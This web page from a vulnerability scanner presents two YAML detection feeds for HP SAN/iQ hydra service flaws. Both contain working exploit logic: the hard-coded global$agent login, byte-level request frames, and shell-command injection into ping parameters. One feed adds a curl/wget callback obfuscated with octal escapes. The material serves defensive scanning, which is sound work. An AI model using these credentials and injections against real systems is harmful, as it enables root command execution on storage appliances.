HP SAN/iQ — 2 vulnerability checks

noctis ships 2 vulnerability checks for HP SAN/iQ, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

HP SAN/iQ Virtual SAN Appliance hydra ping multiple parameters command execution

CVECVE-2012-2986, CVE-2012-4362
Severityhigh · CVSS 7.7
Categoryrce — Remote code execution
Servicesunknown
Detectionscript, tcp_open, tcp_send, sleep, tcp_close, match · highest QoD 97
Feedtests/vulnerabilities/hp-saniq/CVE-2012-2986.yaml

Connects to the HP SAN/iQ hydra management service of the HP Virtual SAN Appliance (TCP 13838), logs in with the hard-coded global$agent account password, then sends lhn/public/network/ping requests whose 4th, 1st or 3rd value carries a shell command that makes the appliance compute and print the sum of two random numbers chosen per scan. The finding is confirmed when that sum, which is not in the request, comes back in the ping reply. When the hard-coded password logs in (and a random password on a separate connection is refused) but no injection produces output, a lower-confidence finding reports the hard-coded account alone.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Opens a persistent TCP/TLS socket
  4. Sends a binary frame on the open socket
  5. Sends … on the open socket
  6. Parses / computes the next value with a Rhai script
  7. Opens a persistent TCP/TLS socket
  8. Sends a binary frame on the open socket
  9. Sends … on the open socket
  10. Parses / computes the next value with a Rhai script
  11. Sends a binary frame on the open socket
  12. Sends … on the open socket
  13. Parses / computes the next value with a Rhai script
  14. Sends a binary frame on the open socket
  15. … and 7 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/hp-saniq/CVE-2012-2986.yaml
# HP SAN/iQ 9.5 (HP Virtual SAN Appliance / StorageWorks P4000 VSA) — hydra
# management service (TCP 13838): hard-coded global$agent password
# (CVE-2012-4362) + shell command injection in the 1st, 3rd or 4th parameter of
# lhn/public/network/ping (CVE-2012-2986, the incomplete fix of CVE-2012-4361).
#
# Ported from OpenVAS/Greenbone NVT
# 2012/gb_hp_saniq_virtual_san_app_mult_param_rce_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.802455, GPL-2.0-only). Frame layout cross-checked
# with the public Metasploit modules exploit/linux/misc/hp_vsa_login_bof and
# exploit/multi/misc/hp_vsa_exec (EDB 18901) and the EDB 18893 client.
#
# Protocol. Every request is a 32-byte header followed by an ASCII command and
# one NUL:
#     00 00 00 00 00 00 00 01 | u32be len(command + NUL) | 15 x 00 |
#     14 ff ff ff ff | command | 00
#   1. login:/global$agent/L0CAlu53R/Version "9.5.0"   → reply with "OK: Login"
#   2. get:/lhn/public/network/ping/<p1>/<p2>/<p3>/<p4>/ — 9.5 still passes the
#      1st, 3rd and 4th values to a shell.
#
# INTRUSIVE — REAL, BENIGN EXPLOITATION. The NVT injects `|id #` in the 4th
# value and greps uid=…; here the injected command is
#     echo NOCTIS$((A+B)) #
# with random 6-digit A and B per scan, so the target's shell computes a sum
# that never appears in the request. It writes nothing and starts nothing that
# lasts. ("/" is the hydra field separator, so the command holds none — which
# is also why no curl/wget OOB fallback is sent: a callback URL needs one.)
#
# Findings:
#   QoD 97 — NOCTIS<A+B> came back in a ping reply (byte-aligned, digit-bounded
#            match on the reply bytes) → CVE-2012-2986 + CVE-2012-4362;
#   QoD 75 — the hard-coded global$agent password logged in while a random
#            password on a separate connection was refused, but no injection
#            produced output → CVE-2012-4362 only.
#
# Better than the OpenVAS NVT:
#   - computed-sum proof instead of `id` (no reflection can produce it);
#   - the NVT only tries the 4th value; the 1st and 3rd (also in CVE-2012-2986)
#     are tried in turn when the 4th gives no proof;
#   - a late second read after each request (an engine read stops after 500 ms
#     of silence; the NVT reads 32 + 1024 bytes with the default timeout);
#   - a login accepted with the hard-coded password is still reported (QoD 75,
#     with a random-password control) when no injection output comes back.
# HP SAN/iQ before 9.5 rejects the "9.5.0" login version; the older 2nd-value
# injection (CVE-2012-4361) is a separate feed.
uid: f3e38768-c4ba-46e3-9109-8924b7d0c2f2
name: "HP SAN/iQ Virtual SAN Appliance hydra ping multiple parameters command execution"
description: |
  Connects to the HP SAN/iQ hydra management service of the HP Virtual SAN
  Appliance (TCP 13838), logs in with the hard-coded global$agent account
  password, then sends lhn/public/network/ping requests whose 4th, 1st or 3rd
  value carries a shell command that makes the appliance compute and print the
  sum of two random numbers chosen per scan. The finding is confirmed when that
  sum, which is not in the request, comes back in the ping reply. When the
  hard-coded password logs in (and a random password on a separate connection
  is refused) but no injection produces output, a lower-confidence finding
  reports the hard-coded account alone.
cves: [CVE-2012-2986, CVE-2012-4362]
cvss: 7.7
severity: high
category: rce
confidence_base: 0.30
tags: [hp, saniq, lefthand, storevirtual, vsa, hydra, rce, command-injection, hardcoded-credentials, intrusive, tcp-13838]
# The hydra port has no nmap service name: it is reported as "unknown".
services: [unknown]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-2986"
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-4362"
  - "https://www.kb.cert.org/vuls/id/441363"
  - "https://www.exploit-db.com/exploits/18901"
  - "https://www.exploit-db.com/exploits/18893"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/hp_vsa_exec.rb"

steps:
  # 1 — frames. A and B are random so the expected output differs on every
  #     scan and never appears in a frame.
  - id: build
    action: script
    store_as: x
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let sum = "" + (a + b);
      let inj = "|echo NOCTIS$((" + a + "+" + b + ")) #";
      let base = "get:/lhn/public/network/ping/";
      let cmds = [
        "login:/global$agent/L0CAlu53R/Version \"9.5.0\"",
        "login:/global$agent/" + rand_str(10) + "/Version \"9.5.0\"",
        base + "127.0.0.1/127.0.0.1/64/1" + inj + "/",
        base + "127.0.0.1" + inj + "/127.0.0.1/64/1/",
        base + "127.0.0.1/127.0.0.1/64" + inj + "/1/"
      ];
      let pk = [];
      for c in cmds {
        let f = "0000000000000001";
        f += p32be(strlen(c) + 1);
        f += "000000000000000000000000000000";
        f += "14ffffffff";
        f += hexstr(c);
        f += "00";
        pk.push(f);
      }
      let proof = "^(?:..)*?" + hexstr("NOCTIS" + sum) + "(?:[0-24-9a-f][0-9a-f]|3[a-f]|$)";
      #{ sum: sum, login: pk[0], ctrl: pk[1], p4: pk[2], p1: pk[3], p3: pk[4], proof: proof }

  - id: init-state
    action: script
    store_as: s
    code: |
      #{ ctrl_rejected: false, login: false, found: false }

  # 2 — control: a random global$agent password on its own connection must be
  #     answered and refused (fail-closed: no reply = not refused).
  - id: open-ctrl
    action: tcp_open
    handle: ctl
    port: "{{port}}"
    timeout_secs: 10
    store_as: cc

  - id: send-ctrl
    action: tcp_send
    handle: ctl
    condition: "cc.connected == true"
    send_hex: "{{x.ctrl}}"
    timeout_secs: 10
    store_as: rc

  - id: wait-ctrl
    action: sleep
    condition: "cc.connected == true && rc.responded == false"
    duration_ms: 1500

  - id: read-ctrl
    action: tcp_send
    handle: ctl
    condition: "cc.connected == true && rc.responded == false"
    timeout_secs: 10
    store_as: rc

  - id: check-ctrl
    action: script
    condition: "cc.connected == true"
    store_as: s
    code: |
      s.ctrl_rejected = type_of(rc.response) == "string" && strlen(rc.response) > 0 && stridx(rc.response, "OK: Login") < 0;
      s

  - id: close-ctrl
    action: tcp_close
    handle: ctl

  # 3 — the hard-coded global$agent password.
  - id: open
    action: tcp_open
    handle: hy
    port: "{{port}}"
    timeout_secs: 10
    store_as: c

  - id: send-login
    action: tcp_send
    handle: hy
    condition: "c.connected == true"
    send_hex: "{{x.login}}"
    timeout_secs: 10
    store_as: r1

  - id: wait-login
    action: sleep
    condition: "c.connected == true && r1.responded == false"
    duration_ms: 1500

  - id: read-login
    action: tcp_send
    handle: hy
    condition: "c.connected == true && r1.responded == false"
    timeout_secs: 10
    store_as: r1

  - id: check-login
    action: script
    condition: "c.connected == true"
    store_as: s
    code: |
      s.login = type_of(r1.response) == "string" && stridx(r1.response, "OK: Login") >= 0;
      s

  # 4 — injection in the 4th value (as the NVT), then the 1st, then the 3rd.
  #     Each request is followed by a second read after a pause, for output
  #     that arrives after the engine's 500 ms idle cut. That second read gets
  #     nothing when the reply was complete, and a read waits up to its
  #     timeout_secs for a first byte: keep it short, under hydra's idle
  #     session timeout, so the next request still finds the session open.
  - id: send-p4
    action: tcp_send
    handle: hy
    condition: "s.login == true"
    send_hex: "{{x.p4}}"
    timeout_secs: 10
    store_as: q1

  - id: wait-p4
    action: sleep
    condition: "s.login == true"
    duration_ms: 1000

  - id: read-p4
    action: tcp_send
    handle: hy
    condition: "s.login == true"
    timeout_secs: 3
    store_as: q2

  - id: scan-p4
    action: script
    condition: "s.login == true"
    store_as: s
    code: |
      let t = "";
      if type_of(q1.response_hex) == "string" { t += q1.response_hex; }
      if type_of(q2.response_hex) == "string" { t += q2.response_hex; }
      if ereg(x.proof, t) { s.found = true; }
      s

  - id: send-p1
    action: tcp_send
    handle: hy
    condition: "s.login == true && s.found == false"
    send_hex: "{{x.p1}}"
    timeout_secs: 10
    store_as: q3

  - id: wait-p1
    action: sleep
    condition: "s.login == true && s.found == false"
    duration_ms: 1000

  - id: read-p1
    action: tcp_send
    handle: hy
    condition: "s.login == true && s.found == false"
    timeout_secs: 3
    store_as: q4

  - id: scan-p1
    action: script
    condition: "s.login == true && s.found == false"
    store_as: s
    code: |
      let t = "";
      if type_of(q3.response_hex) == "string" { t += q3.response_hex; }
      if type_of(q4.response_hex) == "string" { t += q4.response_hex; }
      if ereg(x.proof, t) { s.found = true; }
      s

  - id: send-p3
    action: tcp_send
    handle: hy
    condition: "s.login == true && s.found == false"
    send_hex: "{{x.p3}}"
    timeout_secs: 10
    store_as: q5

  - id: wait-p3
    action: sleep
    condition: "s.login == true && s.found == false"
    duration_ms: 1000

  - id: read-p3
    action: tcp_send
    handle: hy
    condition: "s.login == true && s.found == false"
    timeout_secs: 3
    store_as: q6

  - id: scan-p3
    action: script
    condition: "s.login == true && s.found == false"
    store_as: s
    code: |
      let t = "";
      if type_of(q5.response_hex) == "string" { t += q5.response_hex; }
      if type_of(q6.response_hex) == "string" { t += q6.response_hex; }
      if ereg(x.proof, t) { s.found = true; }
      s

  - id: close
    action: tcp_close
    handle: hy

  - id: check-rce
    action: match
    source: s.found
    pattern: "^true$"
    condition: "s.found == true"
    on_match:
      finding:
        title: "HP SAN/iQ hydra lhn/public/network/ping remote command execution"
        description: "The HP SAN/iQ hydra service accepted a login with the hard-coded global$agent password (CVE-2012-4362) and ran a shell command injected in a value of an lhn/public/network/ping request (4th, 1st or 3rd value, tried in that order): the appliance computed and returned the per-scan sum {{x.sum}}, which is not in the request, confirming remote command execution (CVE-2012-2986)."
        remediation: "Upgrade HP SAN/iQ (StoreVirtual / LeftHand OS) to a release later than 9.5 that fixes the ping command injection and removes the global$agent account, and restrict TCP 13838 to the management hosts that need it."
        confidence_delta: 0.65
        qod: 97
        evidence: "TCP {{port}}: login as global$agent/L0CAlu53R answered OK: Login; `|echo NOCTIS$((A+B)) #` injected in the ping values returned NOCTIS{{x.sum}}"
      stop: true

  - id: check-hardcoded-login
    action: match
    source: s.login
    pattern: "^true$"
    condition: "s.login == true && s.ctrl_rejected == true && s.found == false"
    on_match:
      finding:
        title: "HP SAN/iQ hydra service accepts the hard-coded global$agent password"
        description: "The HP SAN/iQ hydra management service logged in the global$agent account with its hard-coded password, while a random password for the same account on a separate connection was refused (CVE-2012-4362; the account is still present on SAN/iQ 9.5, whose login version this check announces). The ping command injection sent afterwards produced no observable output."
        remediation: "Upgrade HP SAN/iQ (StoreVirtual / LeftHand OS) to a release that removes the global$agent account, and restrict TCP 13838 to the management hosts that need it."
        cves: [CVE-2012-4362]
        cvss: 4.0
        severity: medium
        confidence_delta: 0.50
        qod: 75
        evidence: "TCP {{port}}: login as global$agent/L0CAlu53R answered OK: Login; a random password was refused"

HP SAN/iQ Virtual SAN Appliance hydra ping second parameter command injection

CVECVE-2012-4361
Severityhigh · CVSS 7.7
Categoryrce — Remote code execution
Servicesunknown
Detectionscript, tcp_open, tcp_send, sleep, tcp_close, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/hp-saniq/CVE-2012-4361.yaml

Connects to the HP SAN/iQ hydra management service (TCP 13838 by default) of an HP Virtual SAN Appliance, logs in with the appliance's built-in agent account, and sends a network ping request whose second parameter carries a shell command that makes the target compute and print the sum of two random numbers chosen per scan. The finding is confirmed when that sum, which is not in the request, comes back in the service's reply. SAN/iQ 8.x requests without the size and count parameters are tried when the service reports a wrong parameter count. When out-of-band detection is enabled, the same command also makes the target fetch the scanner's callback URL with curl or wget, which confirms appliances that do not return the command output. SAN/iQ before 9.5 runs the command as root.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Opens a persistent TCP/TLS socket
  4. Sends a binary frame on the open socket
  5. Parses / computes the next value with a Rhai script
  6. Sends a binary frame on the open socket
  7. Parses / computes the next value with a Rhai script
  8. Sends a binary frame on the open socket
  9. Sends … on the open socket
  10. Parses / computes the next value with a Rhai script
  11. Sends … on the open socket
  12. Parses / computes the next value with a Rhai script
  13. Sends a binary frame on the open socket
  14. Sends … on the open socket
  15. … and 5 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/hp-saniq/CVE-2012-4361.yaml
# HP SAN/iQ < 9.5 (HP StorageWorks P4000 / LeftHand Virtual SAN Appliance) —
# command injection in the second parameter of the hydra management service's
# lhn/public/network/ping command (CVE-2012-4361).
#
# Ported from OpenVAS/Greenbone NVT
# 2012/gb_hp_saniq_virtual_san_app_sec_param_rce_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.802454, GPL-2.0-only). Same login and request
# strings as the Nessus plugin hp_saniq_hydra_cmd_injection.nasl, the
# discoverer's PoC (Nicolas Gregoire, EDB 18893) and the Metasploit module
# exploit/multi/misc/hp_vsa_exec.
#
# Protocol (hydra, TCP 13838). Every request is a 32-byte header followed by a
# NUL-terminated command string:
#     00 00 00 00 00 00 00 01 | u32be len(cmd)+1 | 15 x 00 | 14 ff ff ff ff | cmd 00
# (the header layout of the PoC and the Metasploit module; the NVT writes the
# same header without the trailing NUL). Replies carry a 32-byte header and
# the text answer.
#   1. login:/global$agent/<hard-coded password>/Version "9.5.0"
#      → "OK: Login" (the built-in agent account of every appliance; the
#      newest client version is sent so the service never answers "client
#      too old"; without "OK … Login" the login is sent again as "8.5.0", the
#      oldest version public exploit code announces).
#   2. get:/lhn/public/network/ping/127.0.0.1/|<cmd> #/64/5/
#      → the service builds a ping command line from the parameters and runs
#      it through a shell as root; <cmd> output comes back in the reply.
#      SAN/iQ 8.x takes two ping parameters and answers "incorrect number of
#      parameters specified": the request is sent again without "64/5/".
#
# INTRUSIVE — REAL, BENIGN EXPLOITATION. The command is
#     echo NOCTIS$((A+B))
# with random 6-digit A and B per scan, so the target's shell computes a sum
# that is never in the request. "/" separates parameters and cannot appear in
# the command. When OOB is enabled the command also fetches the callback URL
# with curl or wget, in the background with its output closed (the service
# answers only once the whole shell line has finished, so a callback that
# hangs on a filtered network must not hold back the in-band answer); the URL is rebuilt by printf from octal escapes (\057 for
# "/", \072 for ":") so the command stays free of "/" and ":".
#
# Better than the OpenVAS NVT: the proof is a computed value instead of
# `id` output (a uid=…gid=… string can be echoed by any host that reflects
# text), the match is digit-bounded on the reply bytes, a reply that arrives
# after the ping has run is read again, and a blind appliance is caught by the
# OOB callback.
uid: d6a33756-6a27-49ff-ba17-92875e1a4159
name: "HP SAN/iQ Virtual SAN Appliance hydra ping second parameter command injection"
description: |
  Connects to the HP SAN/iQ hydra management service (TCP 13838 by default)
  of an HP Virtual SAN Appliance, logs in with the appliance's built-in agent
  account, and sends a network ping request whose second parameter carries a
  shell command that makes the target compute and print the sum of two random
  numbers chosen per scan. The finding is confirmed when that sum, which is
  not in the request, comes back in the service's reply. SAN/iQ 8.x requests
  without the size and count parameters are tried when the service reports a
  wrong parameter count. When out-of-band detection is enabled, the same
  command also makes the target fetch the scanner's callback URL with curl or
  wget, which confirms appliances that do not return the command output.
  SAN/iQ before 9.5 runs the command as root.
cves: [CVE-2012-4361]
cvss: 7.7
severity: high
category: rce
confidence_base: 0.30
tags: [hp, saniq, lefthand, storageworks, p4000, vsa, hydra, rce, command-injection, intrusive, tcp-13838]
# Port 13838 has no nmap-services name and nmap has no hydra signature: the
# service is reported as "unknown".
services: [unknown]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-4361"
  - "https://www.kb.cert.org/vuls/id/441363"
  - "https://www.exploit-db.com/exploits/18893"
  - "https://www.exploit-db.com/exploits/18901"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/hp_vsa_exec.rb"

steps:
  # 1 — requests. A and B are random so the expected output differs on every
  #     scan and never appears in a request.
  - id: build
    action: script
    store_as: x
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let sum = "" + (a + b);
      let cmd = "echo NOCTIS$((" + a + "+" + b + "))";
      if oob_enabled {
        let u = str_replace(str_replace(oob_url, "/", "\\057"), ":", "\\072");
        cmd += "; u=$(printf '" + u + "'); (curl -s -m 5 $u || wget -q -T 5 -t 1 -O- $u) >&- 2>&- &";
      }
      let hdr = "0000000000000001";
      let pad = "00000000000000000000000000000014ffffffff";
      let login = "login:/global$agent/L0CAlu53R/Version \"9.5.0\"";
      let p_login = hdr;
      p_login += p32be(strlen(login) + 1);
      p_login += pad;
      p_login += hexstr(login);
      p_login += "00";
      let login85 = "login:/global$agent/L0CAlu53R/Version \"8.5.0\"";
      let p_login85 = hdr;
      p_login85 += p32be(strlen(login85) + 1);
      p_login85 += pad;
      p_login85 += hexstr(login85);
      p_login85 += "00";
      let ping = "get:/lhn/public/network/ping/127.0.0.1/|" + cmd + " #/";
      let ping4 = ping + "64/5/";
      let p_ping4 = hdr;
      p_ping4 += p32be(strlen(ping4) + 1);
      p_ping4 += pad;
      p_ping4 += hexstr(ping4);
      p_ping4 += "00";
      let p_ping2 = hdr;
      p_ping2 += p32be(strlen(ping) + 1);
      p_ping2 += pad;
      p_ping2 += hexstr(ping);
      p_ping2 += "00";
      let ok = "^(?:..)*?" + hexstr("OK") + "(?:..)*?" + hexstr("Login");
      let proof = "^(?:..)*?" + hexstr("NOCTIS" + sum) + "(?:[0-24-9a-f][0-9a-f]|3[a-f]|$)";
      #{ sum: sum, p_login: p_login, p_login85: p_login85, p_ping4: p_ping4, p_ping2: p_ping2, proof: proof, ok: ok }

  - id: init-state
    action: script
    store_as: s
    code: |
      #{ login: false, found: false, retry: false, late: false }

  - id: open
    action: tcp_open
    handle: hydra
    port: "{{port}}"
    timeout_secs: 10
    store_as: c

  # 2 — login with the built-in agent account.
  - id: send-login
    action: tcp_send
    handle: hydra
    condition: "c.connected == true"
    send_hex: "{{x.p_login}}"
    timeout_secs: 10
    store_as: r1

  - id: check-login
    action: script
    condition: "c.connected == true"
    store_as: s
    code: |
      let t = "";
      if type_of(r1.response_hex) == "string" { t = r1.response_hex; }
      s.login = ereg(x.ok, t);
      s

  # 2b — no "OK … Login": log in again announcing the oldest client version
  #      that public exploit code uses (SAN/iQ refuses clients it finds too
  #      old; whether 8.x accepts a newer one is not documented).
  - id: send-login85
    action: tcp_send
    handle: hydra
    condition: "c.connected == true && s.login == false"
    send_hex: "{{x.p_login85}}"
    timeout_secs: 10
    store_as: r2

  - id: check-login85
    action: script
    condition: "c.connected == true && s.login == false"
    store_as: s
    code: |
      let t = "";
      if type_of(r2.response_hex) == "string" { t = r2.response_hex; }
      s.login = ereg(x.ok, t);
      s

  # 3 — injection, SAN/iQ 9.x parameter list (address, target, size, count).
  #     The reply comes once the shell line has run: read again after a pause
  #     (an engine read ends 500 ms after the last byte). That second read
  #     gets nothing when the reply was complete, and a read waits up to its
  #     timeout_secs for a first byte: keep it short, under hydra's idle session
  #     timeout, so the 8.x retry below still finds the session open.
  - id: send-ping4
    action: tcp_send
    handle: hydra
    condition: "s.login == true"
    send_hex: "{{x.p_ping4}}"
    timeout_secs: 10
    store_as: e1

  - id: wait-ping4
    action: sleep
    condition: "s.login == true"
    duration_ms: 2000

  - id: read-ping4
    action: tcp_send
    handle: hydra
    condition: "s.login == true"
    timeout_secs: 3
    store_as: e2

  - id: scan-ping4
    action: script
    condition: "s.login == true"
    store_as: s
    code: |
      let t = "";
      if type_of(e1.response_hex) == "string" { t += e1.response_hex; }
      if type_of(e2.response_hex) == "string" { t += e2.response_hex; }
      s.found = ereg(x.proof, t);
      s.retry = !s.found && stridx(t, hexstr("incorrect number of parameters specified")) >= 0;
      s.late = !s.found && !s.retry;
      s

  # Nothing yet: give a slow ping pipeline one more window.
  - id: wait-ping4-late
    action: sleep
    condition: "s.late == true"
    duration_ms: 3000

  - id: read-ping4-late
    action: tcp_send
    handle: hydra
    condition: "s.late == true"
    timeout_secs: 10
    store_as: e5

  - id: scan-ping4-late
    action: script
    condition: "s.late == true"
    store_as: s
    code: |
      let t = "";
      if type_of(e5.response_hex) == "string" { t = e5.response_hex; }
      s.found = ereg(x.proof, t);
      s.retry = !s.found && stridx(t, hexstr("incorrect number of parameters specified")) >= 0;
      s.late = false;
      s

  # 4 — SAN/iQ 8.x takes only two ping parameters.
  - id: send-ping2
    action: tcp_send
    handle: hydra
    condition: "s.retry == true"
    send_hex: "{{x.p_ping2}}"
    timeout_secs: 10
    store_as: e3

  - id: wait-ping2
    action: sleep
    condition: "s.retry == true"
    duration_ms: 2000

  - id: read-ping2
    action: tcp_send
    handle: hydra
    condition: "s.retry == true"
    timeout_secs: 3
    store_as: e4

  - id: scan-ping2
    action: script
    condition: "s.retry == true"
    store_as: s
    code: |
      let t = "";
      if type_of(e3.response_hex) == "string" { t += e3.response_hex; }
      if type_of(e4.response_hex) == "string" { t += e4.response_hex; }
      s.found = ereg(x.proof, t);
      s.late = !s.found;
      s

  - id: wait-ping2-late
    action: sleep
    condition: "s.retry == true && s.late == true"
    duration_ms: 3000

  - id: read-ping2-late
    action: tcp_send
    handle: hydra
    condition: "s.retry == true && s.late == true"
    timeout_secs: 10
    store_as: e6

  - id: scan-ping2-late
    action: script
    condition: "s.retry == true && s.late == true"
    store_as: s
    code: |
      if type_of(e6.response_hex) == "string" { s.found = ereg(x.proof, e6.response_hex); }
      s

  - id: close
    action: tcp_close
    handle: hydra

  - id: check-inband
    action: match
    source: s.found
    pattern: "^true$"
    condition: "s.found == true"
    on_match:
      finding:
        title: "HP SAN/iQ hydra ping command injection (remote command execution)"
        description: "The HP SAN/iQ hydra management service accepted a login with the appliance's built-in agent account and ran a shell command injected in the second parameter of lhn/public/network/ping: the target's shell computed and returned the per-scan sum {{x.sum}}, which is not in the request, confirming remote command execution as root (CVE-2012-4361)."
        remediation: "Upgrade HP SAN/iQ (LeftHand OS) to 9.5 or later, and restrict access to the hydra management port (TCP 13838) to the management network."
        confidence_delta: 0.65
        qod: 97
        evidence: "ping request with `|echo NOCTIS$((A+B)) #` in the second parameter on TCP {{port}} returned NOCTIS{{x.sum}}"
      stop: true

  # 5 — appliance that does not return the output: the same command fetched
  #     the callback URL.
  - id: wait-callback
    action: wait_oob
    condition: "oob_enabled && s.login == true && s.found == false"
    oob_timeout_secs: 15
    store_as: oob_result
    on_success:
      finding:
        title: "HP SAN/iQ hydra ping command injection (remote command execution)"
        description: "The HP SAN/iQ hydra management service accepted a login with the appliance's built-in agent account and ran a shell command injected in the second parameter of lhn/public/network/ping that made the target fetch the scanner's out-of-band callback URL; the callback was received, confirming remote command execution as root (CVE-2012-4361)."
        remediation: "Upgrade HP SAN/iQ (LeftHand OS) to 9.5 or later, and restrict access to the hydra management port (TCP 13838) to the management network."
        confidence_delta: 0.65
        qod: 97
        evidence: "OOB callback received after a ping request with `|…; (curl -s -m 5 <oob_url> || wget …) >&- 2>&- & #` in the second parameter on TCP {{port}}"

View these feeds on GitHub